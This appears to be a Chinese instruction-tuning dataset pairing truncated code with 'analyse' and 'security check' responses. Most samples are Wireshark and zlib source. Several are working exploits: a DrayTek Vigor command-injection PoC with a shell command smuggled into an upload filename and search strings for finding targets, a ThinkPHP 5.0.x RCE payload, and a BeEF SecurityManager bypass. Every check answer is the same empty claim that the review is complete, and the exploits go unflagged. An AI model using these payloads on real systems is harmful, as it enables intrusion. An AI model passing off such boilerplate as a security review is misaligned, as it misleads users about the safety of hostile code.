static int hf_scsi_ssc_immed                    = -1;
static int hf_scsi_ssc_formatmedium_flags       = -1;
static int hf_scsi_ssc_format                   = -1;
static int hf_scsi_ssc_rdwr10_xferlen           = -1;
static int hf_scsi_ssc_loadunload_immed_flags   = -1;
static int hf_scsi_ssc_loadunload_flags         = -1;
static int hf_scsi_ssc_hold                     = -1;
static int hf_scsi_ssc_eot                      = -1;
static int hf_scsi_ssc_reten                    = -1;
static int h...


Instruction: 检查这段代码是否存在安全问题

Input:
/* based on SSC3 spec */
/* TODO:
 * dissect READPOSITION data
 * dissect REPORTDENSITYSUPPORT data
 */
/* packet-scsi-ssc.c
 * Dissector for the SCSI SSC commandset
 * Extracted from packet-scsi.c
 *
 * Dinesh G Dutt (ddutt@cisco.com)
 * Ronnie sahlberg 2006
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2002 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/conversation.h>
#include <wsutil/str_util.h>
#include "packet-scsi.h"
#include "packet-scsi-ssc.h"
#include "packet-scsi-smc.h"

void proto_register_scsi_ssc(void);

static int proto_scsi_ssc               = -1;
int hf_scsi_ssc_opcode                  = -1;
static int hf_scsi_ssc_rdwr6_xferlen    = -1;
static int hf_scsi_ssc_ver16_verlen     = -1;
static int hf_scsi_ssc_locate10_loid    = -1;
static int hf_scsi_ssc_locate16_loid    = -1;
static int hf_scsi_ssc_space6_code      = -1;
static int hf_scsi_ssc_space6_count     = -1;
static int hf_scsi_ssc_space16_count    = -1;
static int hf_scsi_ssc_erase_flags              = -1;
static int hf_scsi_ssc_fcs                      = -1;
static int hf_scsi_ssc_lcs                      = -1;
static int hf_scsi_ssc_erase_immed              = -1;
static int hf_scsi_ssc_long                     = -1;
static int hf_scsi_ssc_partition                = -1;
static int hf_scsi_ssc_lbi                      = -1;
static int hf_scsi_ssc_verify                   = -1;
static int hf_scsi_ssc_immed                    = -1;
static int hf_scsi_ssc_formatmedium_flags       = -1;
static int hf_scsi_ssc_format                   = -1;
static int hf_scsi_ssc_rdwr10_xferlen           = -1;
static int hf_scsi_ssc_loadunload_immed_flags   = -1;
static int hf_scsi_ssc_loadunload_flags         = -1;
static int hf_scsi_ssc_hold                     = -1;
static int hf_scsi_ssc_eot                      = -1;
static int hf_scsi_ssc_reten                    = -1;
static int h...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

import sys
import string
import json
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str
requests.packages.urllib3.disable_warnings()

class VigorPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-09-15'
    createDate = '2020-09-15'
    updateDate = '2020-09-15'
    references = ['']
    name = 'Vigor Remote Command Execution'
    appPowerLink = ''
    appName = 'Vigor'
    appVersion = '''
    Vigor2960
    Vigor300b
    Vigor3900
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-15415&scoretype=cvssv2

    fofa.so
    app="DrayTek-Vigor2960" || app="DrayTek-Vigor300B" || app="DrayTek-Vigor3900"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def atk(self, url, cmd):
        magic = "EOFKAN9"
        s = requests.session()
        raw_data = """------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';echo 1;{};echo '{}_"
Content-Type: text/x-python-script

------WebKitFormBoundary--""".format(cmd, magic)
        url = "{}/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2".format(url)
        try:
            r = s.post(url, data=raw_data, headers={
                       'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary'}, verify=False)
            res = r.content.decode()
            # print(res)
            if magic in res:
                res = res[1:res.find(magic)].strip()
                return 'OK', res
            else:
                return 'ERROR', res
        except Exception as e:
            msg = repr(e)
            mmsg = msg.lower()
            if 'timed out' in mmsg:
                return 'TIMEOUT', msg
            elif 'refused' in mmsg:
                return 'REFUSED', msg...


Instruction: 检查这段代码是否存在安全问题

Input:
import sys
import string
import json
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str
requests.packages.urllib3.disable_warnings()

class VigorPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-09-15'
    createDate = '2020-09-15'
    updateDate = '2020-09-15'
    references = ['']
    name = 'Vigor Remote Command Execution'
    appPowerLink = ''
    appName = 'Vigor'
    appVersion = '''
    Vigor2960
    Vigor300b
    Vigor3900
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-15415&scoretype=cvssv2

    fofa.so
    app="DrayTek-Vigor2960" || app="DrayTek-Vigor300B" || app="DrayTek-Vigor3900"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def atk(self, url, cmd):
        magic = "EOFKAN9"
        s = requests.session()
        raw_data = """------WebKitFormBoundary
Content-Disposition: form-data; name="abc"; filename="t';echo 1;{};echo '{}_"
Content-Type: text/x-python-script

------WebKitFormBoundary--""".format(cmd, magic)
        url = "{}/cgi-bin/mainfunction.cgi/cvmcfgupload?1=2".format(url)
        try:
            r = s.post(url, data=raw_data, headers={
                       'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary'}, verify=False)
            res = r.content.decode()
            # print(res)
            if magic in res:
                res = res[1:res.find(magic)].strip()
                return 'OK', res
            else:
                return 'ERROR', res
        except Exception as e:
            msg = repr(e)
            mmsg = msg.lower()
            if 'timed out' in mmsg:
                return 'TIMEOUT', msg
            elif 'refused' in mmsg:
                return 'REFUSED', msg...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-netbios.c
 * Routines for NetBIOS protocol packet disassembly
 * Jeff Foster <jfoste@woodward.com>
 * Copyright 1999 Jeffrey C. Foster
 *
 * derived from the packet-nbns.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/llcsaps.h>
#include <epan/reassemble.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/capture_dissectors.h>
#include "packet-netbios.h"

void proto_register_netbios(void);
void proto_reg_handoff_netbios(void);

static dissector_handle_t netbios_handle;
static capture_dissector_handle_t netbios_cap_handle;

/* Netbios command numbers */
#define NB_ADD_GROUP		0x00
#define NB_ADD_NAME		0x01
#define NB_NAME_IN_CONFLICT	0x02
#define NB_STATUS_QUERY		0x03
#define NB_TERMINATE_TRACE_R	0x07
#define NB_DATAGRAM		0x08
#define NB_DATAGRAM_BCAST	0x09
#define NB_NAME_QUERY		0x0a
#define NB_ADD_NAME_RESP	0x0d
#define NB_NAME_RESP 		0x0e
#define NB_STATUS_RESP 		0x0f
#define NB_TERMINATE_TRACE_LR	0x13
#define NB_DATA_ACK		0x14
#define NB_DATA_FIRST_MIDDLE	0x15
#define NB_DATA_ONLY_LAST	0x16
#define NB_SESSION_CONFIRM	0x17
#define NB_SESSION_END		0x18
#define NB_SESSION_INIT		0x19
#define NB_NO_RECEIVE		0x1a
#define NB_RECEIVE_OUTSTANDING	0x1b
#define NB_RECEIVE_CONTINUE	0x1c
#define NB_KEEP_ALIVE		0x1f

/* Offsets of fields in the NetBIOS header. */
#define NB_LENGTH		 0
#define	NB_DELIMITER		 2
#define	NB_COMMAND		 4
#define	NB_FLAGS		 5
#define	NB_DATA1		 5
#define	NB_RESYNC		 6
#define	NB_DATA2		 6
#define	NB_CALL_NAME_TYPE	 7
#define	NB_XMIT_CORL		 8
#define	NB_RESP_CORL		10
#define	NB_RMT_SES		12
#define	NB_LOCAL_SES		13
#define	NB_RECVER_NAME		12
#define	NB_SENDER_NAME		28

static int proto_netbios = -1;
static int hf_netb_cmd = -1;
static int hf_netb_hdr_len = -1;
static int hf_netb_delimiter = -1;
static int hf_ne...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-netbios.c
 * Routines for NetBIOS protocol packet disassembly
 * Jeff Foster <jfoste@woodward.com>
 * Copyright 1999 Jeffrey C. Foster
 *
 * derived from the packet-nbns.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/llcsaps.h>
#include <epan/reassemble.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/capture_dissectors.h>
#include "packet-netbios.h"

void proto_register_netbios(void);
void proto_reg_handoff_netbios(void);

static dissector_handle_t netbios_handle;
static capture_dissector_handle_t netbios_cap_handle;

/* Netbios command numbers */
#define NB_ADD_GROUP		0x00
#define NB_ADD_NAME		0x01
#define NB_NAME_IN_CONFLICT	0x02
#define NB_STATUS_QUERY		0x03
#define NB_TERMINATE_TRACE_R	0x07
#define NB_DATAGRAM		0x08
#define NB_DATAGRAM_BCAST	0x09
#define NB_NAME_QUERY		0x0a
#define NB_ADD_NAME_RESP	0x0d
#define NB_NAME_RESP 		0x0e
#define NB_STATUS_RESP 		0x0f
#define NB_TERMINATE_TRACE_LR	0x13
#define NB_DATA_ACK		0x14
#define NB_DATA_FIRST_MIDDLE	0x15
#define NB_DATA_ONLY_LAST	0x16
#define NB_SESSION_CONFIRM	0x17
#define NB_SESSION_END		0x18
#define NB_SESSION_INIT		0x19
#define NB_NO_RECEIVE		0x1a
#define NB_RECEIVE_OUTSTANDING	0x1b
#define NB_RECEIVE_CONTINUE	0x1c
#define NB_KEEP_ALIVE		0x1f

/* Offsets of fields in the NetBIOS header. */
#define NB_LENGTH		 0
#define	NB_DELIMITER		 2
#define	NB_COMMAND		 4
#define	NB_FLAGS		 5
#define	NB_DATA1		 5
#define	NB_RESYNC		 6
#define	NB_DATA2		 6
#define	NB_CALL_NAME_TYPE	 7
#define	NB_XMIT_CORL		 8
#define	NB_RESP_CORL		10
#define	NB_RMT_SES		12
#define	NB_LOCAL_SES		13
#define	NB_RECVER_NAME		12
#define	NB_SENDER_NAME		28

static int proto_netbios = -1;
static int hf_netb_cmd = -1;
static int hf_netb_hdr_len = -1;
static int hf_netb_delimiter = -1;
static int hf_ne...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
 * Browser Exploitation Framework (BeEF) - http://beefproject.com
 *
 * author: antisnatchor
*/
import java.security.*;
public class SM extends SecurityManager {
    @Override
    public void checkPermission(Permission perm) {
        return;
    }
}


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
 * Browser Exploitation Framework (BeEF) - http://beefproject.com
 *
 * author: antisnatchor
*/
import java.security.*;
public class SM extends SecurityManager {
    @Override
    public void checkPermission(Permission perm) {
        return;
    }
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* tap.c
 * packet tap interface   2002 Ronnie Sahlberg
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#define WS_LOG_DOMAIN LOG_DOMAIN_EPAN

#include <stdio.h>

#include <sys/types.h>

#ifdef HAVE_NETINET_IN_H
# include <netinet/in.h>
#endif

#include <string.h>

#include <glib.h>

#include <epan/packet_info.h>
#include <epan/dfilter/dfilter.h>
#include <epan/tap.h>
#include <wsutil/wslog.h>

static gboolean tapping_is_active=FALSE;

typedef struct _tap_dissector_t {
	struct _tap_dissector_t *next;
	char *name;
} tap_dissector_t;
static tap_dissector_t *tap_dissector_list=NULL;

/*
 * This is the list of free and used packets queued for a tap.
 * It is implemented here explicitly instead of using GLib objects
 * in order to be as fast as possible as we need to build and tear down the
 * queued list at least once for each packet we see and thus we must be able
 * to build and tear it down as fast as possible.
 *
 * XXX - some fields in packet_info get overwritten in the dissection
 * process, such as the addresses and the "this is an error packet" flag.
 * A packet may be queued at multiple protocol layers, but the packet_info
 * structure will, when the tap listeners are run, contain the values as
 * set by the topmost protocol layers.
 *
 * This means that the tap listener code can't rely on pinfo->flags.in_error_pkt
 * to determine whether the packet should be handed to the listener, as, for
 * a protocol with error report packets that include a copy of the
 * packet in error (ICMP, ICMPv6, CLNP), that flag changes during the
 * processing of the packet depending on whether we're currently dissecting
 * the packet in error or not.
 *
 * It also means that a tap listener can't depend on the source and destination
 * addresses being the correct ones for the packet being processed if, for
 * example, you have some tunneling th...


Instruction: 检查这段代码是否存在安全问题

Input:
/* tap.c
 * packet tap interface   2002 Ronnie Sahlberg
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#define WS_LOG_DOMAIN LOG_DOMAIN_EPAN

#include <stdio.h>

#include <sys/types.h>

#ifdef HAVE_NETINET_IN_H
# include <netinet/in.h>
#endif

#include <string.h>

#include <glib.h>

#include <epan/packet_info.h>
#include <epan/dfilter/dfilter.h>
#include <epan/tap.h>
#include <wsutil/wslog.h>

static gboolean tapping_is_active=FALSE;

typedef struct _tap_dissector_t {
	struct _tap_dissector_t *next;
	char *name;
} tap_dissector_t;
static tap_dissector_t *tap_dissector_list=NULL;

/*
 * This is the list of free and used packets queued for a tap.
 * It is implemented here explicitly instead of using GLib objects
 * in order to be as fast as possible as we need to build and tear down the
 * queued list at least once for each packet we see and thus we must be able
 * to build and tear it down as fast as possible.
 *
 * XXX - some fields in packet_info get overwritten in the dissection
 * process, such as the addresses and the "this is an error packet" flag.
 * A packet may be queued at multiple protocol layers, but the packet_info
 * structure will, when the tap listeners are run, contain the values as
 * set by the topmost protocol layers.
 *
 * This means that the tap listener code can't rely on pinfo->flags.in_error_pkt
 * to determine whether the packet should be handed to the listener, as, for
 * a protocol with error report packets that include a copy of the
 * packet in error (ICMP, ICMPv6, CLNP), that flag changes during the
 * processing of the packet depending on whether we're currently dissecting
 * the packet in error or not.
 *
 * It also means that a tap listener can't depend on the source and destination
 * addresses being the correct ones for the packet being processed if, for
 * example, you have some tunneling th...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * untgz.c -- Display contents and extract files from a gzip'd TAR file
 *
 * written by Pedro A. Aranda Gutierrez <paag@tid.es>
 * adaptation to Unix by Jean-loup Gailly <jloup@gzip.org>
 * various fixes by Cosmin Truta <cosmint@cs.ubbcluj.ro>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <errno.h>

#include "zlib.h"

#ifdef unix
#  include <unistd.h>
#else
#  include <direct.h>
#  include <io.h>
#endif

#ifdef WIN32
#include <windows.h>
#  ifndef F_OK
#    define F_OK  0
#  endif
#  define mkdir(dirname,mode)   _mkdir(dirname)
#  ifdef _MSC_VER
#    define access(path,mode)   _access(path,mode)
#    define chmod(path,mode)    _chmod(path,mode)
#    define strdup(str)         _strdup(str)
#  endif
#else
#  include <utime.h>
#endif

/* values used in typeflag field */

#define REGTYPE  '0'            /* regular file */
#define AREGTYPE '\0'           /* regular file */
#define LNKTYPE  '1'            /* link */
#define SYMTYPE  '2'            /* reserved */
#define CHRTYPE  '3'            /* character special */
#define BLKTYPE  '4'            /* block special */
#define DIRTYPE  '5'            /* directory */
#define FIFOTYPE '6'            /* FIFO special */
#define CONTTYPE '7'            /* reserved */

/* GNU tar extensions */

#define GNUTYPE_DUMPDIR  'D'    /* file names from dumped directory */
#define GNUTYPE_LONGLINK 'K'    /* long link name */
#define GNUTYPE_LONGNAME 'L'    /* long file name */
#define GNUTYPE_MULTIVOL 'M'    /* continuation of file from another volume */
#define GNUTYPE_NAMES    'N'    /* file name that does not fit into main hdr */
#define GNUTYPE_SPARSE   'S'    /* sparse file */
#define GNUTYPE_VOLHDR   'V'    /* tape/volume header */

/* tar header */

#define BLOCKSIZE     512
#define SHORTNAMESIZE 100

struct tar_header
{                               /* byte offset */
  char name[100];               /*   0 */
  char mode[8];                 /* 100 */
  char uid[8];                ...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * untgz.c -- Display contents and extract files from a gzip'd TAR file
 *
 * written by Pedro A. Aranda Gutierrez <paag@tid.es>
 * adaptation to Unix by Jean-loup Gailly <jloup@gzip.org>
 * various fixes by Cosmin Truta <cosmint@cs.ubbcluj.ro>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <errno.h>

#include "zlib.h"

#ifdef unix
#  include <unistd.h>
#else
#  include <direct.h>
#  include <io.h>
#endif

#ifdef WIN32
#include <windows.h>
#  ifndef F_OK
#    define F_OK  0
#  endif
#  define mkdir(dirname,mode)   _mkdir(dirname)
#  ifdef _MSC_VER
#    define access(path,mode)   _access(path,mode)
#    define chmod(path,mode)    _chmod(path,mode)
#    define strdup(str)         _strdup(str)
#  endif
#else
#  include <utime.h>
#endif

/* values used in typeflag field */

#define REGTYPE  '0'            /* regular file */
#define AREGTYPE '\0'           /* regular file */
#define LNKTYPE  '1'            /* link */
#define SYMTYPE  '2'            /* reserved */
#define CHRTYPE  '3'            /* character special */
#define BLKTYPE  '4'            /* block special */
#define DIRTYPE  '5'            /* directory */
#define FIFOTYPE '6'            /* FIFO special */
#define CONTTYPE '7'            /* reserved */

/* GNU tar extensions */

#define GNUTYPE_DUMPDIR  'D'    /* file names from dumped directory */
#define GNUTYPE_LONGLINK 'K'    /* long link name */
#define GNUTYPE_LONGNAME 'L'    /* long file name */
#define GNUTYPE_MULTIVOL 'M'    /* continuation of file from another volume */
#define GNUTYPE_NAMES    'N'    /* file name that does not fit into main hdr */
#define GNUTYPE_SPARSE   'S'    /* sparse file */
#define GNUTYPE_VOLHDR   'V'    /* tape/volume header */

/* tar header */

#define BLOCKSIZE     512
#define SHORTNAMESIZE 100

struct tar_header
{                               /* byte offset */
  char name[100];               /*   0 */
  char mode[8];                 /* 100 */
  char uid[8];                ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/** Decode IrDA Serial Infrared (SIR) wrapped packets.
 * @author Shaun Jackman <sjackman@debian.org>
 * @copyright Copyright 2004 Shaun Jackman
 * @license GPL
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/crc16-tvb.h>

/** Serial infrared port. */
#define TCP_PORT_SIR 6417 /* Not IANA registered */

/** Beginning of frame. */
#define SIR_BOF 0xc0

/** End of frame. */
#define SIR_EOF 0xc1

/** Control escape. */
#define SIR_CE 0x7d

/** Escapes this character. */
#define SIR_ESCAPE(x) ((x)^0x20)

void proto_reg_handoff_irsir(void);
void proto_register_irsir(void);

/** Protocol handles. */
static dissector_handle_t irda_handle;
static dissector_handle_t sir_handle;

/** Protocol fields. */
static int proto_sir = -1;
static int ett_sir = -1;
static int hf_sir_bof = -1;
/* static int hf_sir_ce = -1; */
static int hf_sir_eof = -1;
static int hf_sir_fcs = -1;
static int hf_sir_fcs_status = -1;
static int hf_sir_length = -1;
static int hf_sir_preamble = -1;

static expert_field ei_sir_fcs = EI_INIT;

/* Copied and renamed from proto.c because global value_strings don't work for plugins */
static const value_string plugin_proto_checksum_vals[] = {
	{ PROTO_CHECKSUM_E_BAD,        "Bad"  },
	{ PROTO_CHECKSUM_E_GOOD,       "Good" },
	{ PROTO_CHECKSUM_E_UNVERIFIED, "Unverified" },
	{ PROTO_CHECKSUM_E_NOT_PRESENT, "Not present" },

	{ 0,        NULL }
};

/** Unescapes the data. */
static tvbuff_t *
unescape_data(tvbuff_t *tvb, packet_info *pinfo)
{
	if (tvb_find_guint8(tvb, 0, -1, SIR_CE) == -1) {
		return tvb;
	} else {
		guint length = tvb_captured_length(tvb);
		guint offset;
		guint8 *data = (guint8 *)wmem_alloc(pinfo->pool, length);
		guint8 *dst = data;
		tvbuff_t *next_tvb;

		for (offset = 0; offset < length; )
		{
			guint8 c = tvb_get_guint8(tvb, offset++);...


Instruction: 检查这段代码是否存在安全问题

Input:
/** Decode IrDA Serial Infrared (SIR) wrapped packets.
 * @author Shaun Jackman <sjackman@debian.org>
 * @copyright Copyright 2004 Shaun Jackman
 * @license GPL
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/crc16-tvb.h>

/** Serial infrared port. */
#define TCP_PORT_SIR 6417 /* Not IANA registered */

/** Beginning of frame. */
#define SIR_BOF 0xc0

/** End of frame. */
#define SIR_EOF 0xc1

/** Control escape. */
#define SIR_CE 0x7d

/** Escapes this character. */
#define SIR_ESCAPE(x) ((x)^0x20)

void proto_reg_handoff_irsir(void);
void proto_register_irsir(void);

/** Protocol handles. */
static dissector_handle_t irda_handle;
static dissector_handle_t sir_handle;

/** Protocol fields. */
static int proto_sir = -1;
static int ett_sir = -1;
static int hf_sir_bof = -1;
/* static int hf_sir_ce = -1; */
static int hf_sir_eof = -1;
static int hf_sir_fcs = -1;
static int hf_sir_fcs_status = -1;
static int hf_sir_length = -1;
static int hf_sir_preamble = -1;

static expert_field ei_sir_fcs = EI_INIT;

/* Copied and renamed from proto.c because global value_strings don't work for plugins */
static const value_string plugin_proto_checksum_vals[] = {
	{ PROTO_CHECKSUM_E_BAD,        "Bad"  },
	{ PROTO_CHECKSUM_E_GOOD,       "Good" },
	{ PROTO_CHECKSUM_E_UNVERIFIED, "Unverified" },
	{ PROTO_CHECKSUM_E_NOT_PRESENT, "Not present" },

	{ 0,        NULL }
};

/** Unescapes the data. */
static tvbuff_t *
unescape_data(tvbuff_t *tvb, packet_info *pinfo)
{
	if (tvb_find_guint8(tvb, 0, -1, SIR_CE) == -1) {
		return tvb;
	} else {
		guint length = tvb_captured_length(tvb);
		guint offset;
		guint8 *data = (guint8 *)wmem_alloc(pinfo->pool, length);
		guint8 *dst = data;
		tvbuff_t *next_tvb;

		for (offset = 0; offset < length; )
		{
			guint8 c = tvb_get_guint8(tvb, offset++);...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* ringbuffer.c
 * Routines for packet capture windows
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * <laurent.deniel@free.fr>
 *
 * Almost completely rewritten in order to:
 *
 * - be able to use a unlimited number of ringbuffer files
 * - close the current file and open (truncating) the next file at switch
 * - set the final file name once open (or reopen)
 * - avoid the deletion of files that could not be truncated (can't arise now)
 *   and do not erase empty files
 *
 * The idea behind that is to remove the limitation of the maximum # of
 * ringbuffer files being less than the maximum # of open fd per process
 * and to be able to reduce the amount of virtual memory usage (having only
 * one file open at most) or the amount of file system usage (by truncating
 * the files at switch and not the capture stop, and by closing them which
 * makes possible their move or deletion after a switch).
 *
 */

#include <config.h>

#ifdef HAVE_LIBPCAP

#include <stdio.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <stdlib.h>
#include <glib.h>

#include <pcap.h>

#include <glib.h>

#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif

#ifdef _WIN32
#include <wsutil/win32-utils.h>
#endif

#include "ringbuffer.h"
#include <wsutil/file_util.h>

#ifdef HAVE_ZLIB
#include <zlib.h>
#endif

/* Ringbuffer file structure */
typedef struct _rb_file {
    gchar         *name;
} rb_file;

#define MAX_FILENAME_QUEUE  100

/** Ringbuffer data structure */
typedef struct _ringbuf_data {
    rb_file      *files;
    guint         num_files;           /**< Number of ringbuffer files (1 to ...) */
    guint         curr_file_num;       /**< Number of the current file (ever increasing) */
    gchar        *fprefix;             /**< Filename prefix */
    gchar        *fsuffix;             /**< Filename suffix */
    gboolean      nametimenum;         /*...


Instruction: 检查这段代码是否存在安全问题

Input:
/* ringbuffer.c
 * Routines for packet capture windows
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * <laurent.deniel@free.fr>
 *
 * Almost completely rewritten in order to:
 *
 * - be able to use a unlimited number of ringbuffer files
 * - close the current file and open (truncating) the next file at switch
 * - set the final file name once open (or reopen)
 * - avoid the deletion of files that could not be truncated (can't arise now)
 *   and do not erase empty files
 *
 * The idea behind that is to remove the limitation of the maximum # of
 * ringbuffer files being less than the maximum # of open fd per process
 * and to be able to reduce the amount of virtual memory usage (having only
 * one file open at most) or the amount of file system usage (by truncating
 * the files at switch and not the capture stop, and by closing them which
 * makes possible their move or deletion after a switch).
 *
 */

#include <config.h>

#ifdef HAVE_LIBPCAP

#include <stdio.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <stdlib.h>
#include <glib.h>

#include <pcap.h>

#include <glib.h>

#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif

#ifdef _WIN32
#include <wsutil/win32-utils.h>
#endif

#include "ringbuffer.h"
#include <wsutil/file_util.h>

#ifdef HAVE_ZLIB
#include <zlib.h>
#endif

/* Ringbuffer file structure */
typedef struct _rb_file {
    gchar         *name;
} rb_file;

#define MAX_FILENAME_QUEUE  100

/** Ringbuffer data structure */
typedef struct _ringbuf_data {
    rb_file      *files;
    guint         num_files;           /**< Number of ringbuffer files (1 to ...) */
    guint         curr_file_num;       /**< Number of the current file (ever increasing) */
    gchar        *fprefix;             /**< Filename prefix */
    gchar        *fsuffix;             /**< Filename suffix */
    gboolean      nametimenum;         /*...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

from collections import OrderedDict
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, POC_CATEGORY, OptString
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str

class POC(POCBase):
    vulID = '97767'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  # 默认为1
    author = 'Bin'  # PoC作者的大名
    vulDate = '2020-11-11'  # 漏洞公开的时间,不知道就写今天
    createDate = '2020-11-11'  # 编写 PoC 的日期
    updateDate = '2020-11-11'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = 'ThinkPHP 5.0.x 远程代码执行漏洞'  # PoC 名称
    appPowerLink = 'https://www.thinkphp.cn'  # 漏洞厂商主页地址
    appName = 'Thinkphp'  # 漏洞应用名称
    appVersion = '5.0.x'  # 漏洞影响版本
    vulType = 'Remote code execution'  # 漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
                Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装，默认为$_POST[‘_method’]变量，却没有对$_PO
                ST[‘_method’]属性进行严格校验，可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。
            '''  # 漏洞简要描述
    samples = []  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = []  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    pocDesc = '''使用Attck模式时可添加 --command参数用来指定需要执行的命令,如不指定该参数则默认执行whoami'''
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):
        result = {}
        flag = 'PHP Extension Build'
        path = '/index.php?s=captcha'
        url = self.url + path
        payload = {'_method': '__construct', 'filter[]': 'phpinfo', 'method': 'get', 'server[REQUEST_METHOD]': '1'}
        try:
            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
            req = requests.post(url, data=payload, headers=headers)
            if req and req.status_code == 200 and flag in req.text:
                result['VerfiryInfo'] = {}
                result['VerfiryInfo']['URL'] = self.url
                result['VerfiryInfo']['Postdata'] = payload
        except Exception as e:
            return
      ...


Instruction: 检查这段代码是否存在安全问题

Input:
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, register_poc, requests, logger, POC_CATEGORY, OptString
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str

class POC(POCBase):
    vulID = '97767'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  # 默认为1
    author = 'Bin'  # PoC作者的大名
    vulDate = '2020-11-11'  # 漏洞公开的时间,不知道就写今天
    createDate = '2020-11-11'  # 编写 PoC 的日期
    updateDate = '2020-11-11'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = 'ThinkPHP 5.0.x 远程代码执行漏洞'  # PoC 名称
